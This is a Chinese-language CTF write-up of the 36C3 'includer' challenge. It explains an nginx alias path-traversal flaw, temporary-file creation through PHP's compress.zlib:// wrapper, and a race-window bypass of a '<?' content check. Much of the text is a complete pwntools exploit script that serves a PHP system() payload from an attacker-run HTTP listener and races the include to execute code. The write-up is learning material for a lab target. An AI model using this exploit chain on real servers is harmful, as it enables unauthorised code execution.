includer
- compress://zlib创建临时文件
- LFI
- 利用窗口期绕过
这个题是在zedd的博客看到的https://blog.zeddyu.info/2020/01/08/36c3-web/#includer
题十分巧妙,所以尝试进行复现和学习
具体的就看zedd师傅的博客就行了
这个比赛好像是给dockerfile然后自己搭建的
Configuration Error
首先给了dockerfile和附件
在nginx配置里漏洞可以利用
location /.well-known {
autoindex on;
alias /var/www/html/well-known/;
}
这里是控制我们实际访问是哪个文件
在这使用了alias
,且目标路由是/.well-known
这样就会导致目录遍历,可以使我们访问到上一层目录
eg:
/.well-known../
就会变成/var/www/html/well-known/../
所以我们访问/.well-know…/的时候,就可以访问到此文件目录的上一级目录的文件或者文件夹
修复的话就改成
location /.well-known/ {
autoindex on;
alias /var/www/html/well-known/;
}
How to update file
index.php
<?php
declare(strict_types=1);
$rand_dir = 'files/'.bin2hex(random_bytes(32));
mkdir($rand_dir) || die('mkdir');
putenv('TMPDIR='.__DIR__.'/'.$rand_dir) || die('putenv');
echo 'Hello '.$_POST['name'].' your sandbox: '.$rand_dir."\n";
try {
if (stripos(file_get_contents($_POST['file']), '<?') === false) {
include_once($_POST['file']);
}
}
finally {
system('rm -rf '.escapeshellarg($rand_dir));
}
首先这里设置了临时文件的路径为用mkdir创建的那个目录。
对传输的内容进行了检测,用stripos()
进行检测是否存在<?
这里是使用compress.zlib://
协议生成临时文件,且生成的临时文件的内容就是我们上传的内容。(源码分析看zedd的博客就行)
类似:compress.zlib://http://ip
,而且我们知道这个临时文件保存在'files/'.bin2hex(random_bytes(32))
,所以我们的目的就是去包含这个文件。
bypass waf
如果成功包含这个文件,但里面的内容如果有<?
那就还是无法通过这个waf。
在zedd的wp中写到
waf利用两个函数之间极端的时间窗进行绕过。
什么意思呢?也就是说,在极其理想的情况下,我们通过自己的服务先发送一段垃圾数据,这时候通过
stripos
的判断就是没有 PHP 代码的文件数据,接着我们利用 HTTP 长链接的形式,只要这个链接不断开,在我们绕过第一个判断之后,我们就可以发送第二段含有 PHP 代码的数据了,这样就能使include_once
包含我们的代码了。
由于有极短的窗口期,所以要控制好两次发数据的时间间隔
那么该如何保持保持长连接?
zedd使用的是pwn包里的listen方法。
test
为了搞懂为什么要使用pwn包里的东西,我自己进行了一些测试
靶机
<?php
$a=file_get_contents($_POST[1]);
print_r($a);
攻击机
import time
from pwn import *
l=listen(9900)
resp = '''HTTP/1.1 200 OK
Date: Sun, 29 Dec 2019 05:22:47 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 1
Content-Type: text/html; charset=UTF-8
{}'''.format('A' * 5).replace("\n", "\r\n").encode()
l.send(resp)
time.sleep(5)
data="wzx".encode()
l.send(data)
在传参为1=http://192.168.184.1:9900/
时,可以发现明显的延时,就是说在攻击机的listen()不断的时候,这个连接是一直存在的
同样,将攻击机的脚本改为
import time
from pwn import *
l=listen(9900)
resp = '''HTTP/1.1 200 OK
Date: Sun, 29 Dec 2019 05:22:47 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 1
Content-Type: text/html; charset=UTF-8
{}'''.format('A' * 5).replace("\n", "\r\n").encode()
#l.send(resp)
time.sleep(5)
data="wzx".encode()
l.send(data)
这个时候在攻击机监听到请求的时候先不发包,在等待5秒钟之后再发包,得到的回显是这样的
就是说即使前面的请求错误,但是后面正常传数据,还是可以接收到的。
这就说明了是保持着长连接
又学到了新知识
所以我们可以先传一段比较大的数据,然后再传包含php代码的数据,这样不仅可以使临时文件存在的时间变长,让我们可以方便的去包含它,也可以以此来绕过waf
Get filename
前面说到我们需要包含那个临时文件,那么我们就需要得到临时文件的名字,但是由于php output buffer的存在,只有在php脚本执行完后才会用echo进行输出,所以正常情况下只有脚本执行结束,我们才能得到sandbox的路径
echo 'Hello '.$_POST['name'].' your sandbox: '.$rand_dir."\n";
可以使用过长的name
传参,来让php output buffer 溢出,从而在保持连接的情况下得到sandbox路径
According to the above information, we can easily see that the default size of the PHP buffer under most configurations is 4096 bytes (4KB) which means PHP buffers can hold data up to 4KB. Once this limit is exceeded or PHP code execution is finished, buffered content is automatically sent to whatever back end PHP is being used (CGI, mod_php, FastCGI). Output buffering is
always Off
in PHP-CLI. We will see what this means soon.在大多数配置下,PHP 缓冲区的默认大小是 4096 字节(4KB),这意味着 PHP 缓冲区最多可以容纳 4KB 的数据。一旦超过此限制或 PHP 代码执行完成,缓冲的内容将自动发送到正在使用的任何后端 PHP(CGI、mod_php、FastCGI)。
https://www.sitepoint.com/php-streaming-output-buffering-explained/
然后用前面的/.well-known../
来查看临时文件的名字
import requests
from pwn import *
for i in range(100):
r=remote("172.27.96.1",9999)
l=listen(9090)
# get filename
data = """name={}&file=compress.zlib://http://192.168.184.1:9090""".format("a" * 8050)#这里要选择合适的长度来溢出
payload = """POST / HTTP/1.1
Host: 172.27.96.1:9999
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: {}
{}""".format(len(data), data).replace("\n", "\r\n").encode()
r.send(payload)
try:
r.recvuntil("your sandbox: ".encode())
except EOFError:
print("[ERROR]"+"EOFError")
r.close()
continue
dirname=r.recvuntil('\n'.encode(),drop=True).decode()+'/'
print("[DEBUG]:dirname:"+dirname)
c=l.wait_for_connection()
# send trash 让临时文件长时间存活
trash = '''HTTP/1.1 200 OK
Date: Sun, 29 Dec 2019 05:22:47 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 534
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
{}'''.format('A' * 9009000).replace("\n", "\r\n").encode()
c.send(trash)
url="http://172.27.96.1:9999/.well-known../"+dirname
print(url)
res1=requests.get(url=url)
try:
print(res1.text)
tmpname = "php" + re.findall(">php(.*)<\/a", res1.text)[0]
print("[DEBUG]:" + tmpname)
except IndexError:
print("i will close")
l.close()
r.close()
c.close()
print("[ERROR]: IndexErorr")
continue
可以得到临时文件的名字,和输出页面的代码
<html>
<head><title>Index of /.well-known../files/3ee11fa9d8b135d31ca7f18cd35c2598d02fa6259497f728900e02ffa9283b22/</title></head>
<body bgcolor="white">
<h1>Index of /.well-known../files/3ee11fa9d8b135d31ca7f18cd35c2598d02fa6259497f728900e02ffa9283b22/</h1><hr><pre><a href="../">../</a>
<a href="phpaUfhrn">phpaUfhrn</a> 21-Oct-2022 08:41 40684
</pre><hr></body>
</html>
php+6个随机字符
使用正则来定位这个临时文件名php后面的字符串
tmpname = "php" + re.findall(">php(.*)<\/a", res1.text)[0]
Get flag!
总结流程:
使用pwntools里的listen()来保持长连接
使用compress.zlib://来生成临时文件,并传输大量垃圾数据来使临时文件长期存活。
使用php output buffer溢出来在保持连接的情况下获得sandbox路径
利用前面传输的垃圾数据来绕过的stripos()检材,然后利用http长连接的状态再传输php代码,来绕过检材
竞争包含临时文件,执行php代码
注意:
因为两个函数直接的窗口期很短,所以需要控制好发送数据包的时间间隔
这里需要竞争,所以要控制好垃圾数据的大小
exp.py
import requests
from pwn import *
for i in range(100):
r=remote("172.27.96.1",9999)
l=listen(9090)
# get filename
data = """name={}&file=compress.zlib://http://192.168.184.1:9090""".format("a" * 8050)#这里要选择合适的长度来溢出
payload = """POST / HTTP/1.1
Host: 172.27.96.1:9999
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: {}
{}""".format(len(data), data).replace("\n", "\r\n").encode()
r.send(payload)
try:
r.recvuntil("your sandbox: ".encode())
except EOFError:
print("[ERROR]"+"EOFError")
r.close()
continue
dirname=r.recvuntil('\n'.encode(),drop=True).decode()+'/'
print("[DEBUG]:dirname:"+dirname)
c=l.wait_for_connection()
# send trash 来让临时文件存活更久
trash = '''HTTP/1.1 200 OK
Date: Sun, 29 Dec 2019 05:22:47 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 534
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
{}'''.format('A' * 9009000).replace("\n", "\r\n").encode() # 要控制垃圾数据的大小
c.send(trash)
url="http://172.27.96.1:9999/.well-known../"+dirname
print(url)
res1=requests.get(url=url)
try:
tmpname = "php" + re.findall(">php(.*)<\/a", res1.text)[0]
print("[DEBUG]:" + tmpname)
print(res1.text)
except IndexError:
print("i will close")
l.close()
r.close()
c.close()
print("[ERROR]: IndexErorr")
continue
time.sleep(0.16) # 要控制好延时,得自己调试
data2="v2ish1yan<?php system('ls');?>"
c.send(data2)
exp_filename=dirname+tmpname
res2=requests.post("http://172.27.96.1:9999/",data={"file":exp_filename})
print(res2.text,res2.status_code)
if "v2ish1yan" in res2.text:
break
l.close()
r.close()
c.close()
Summary
compress.zlib://产生临时文件
pwn包的listen()维持长连接
利用函数窗口期来绕过检测
利用垃圾数据来让临时文件存活的更久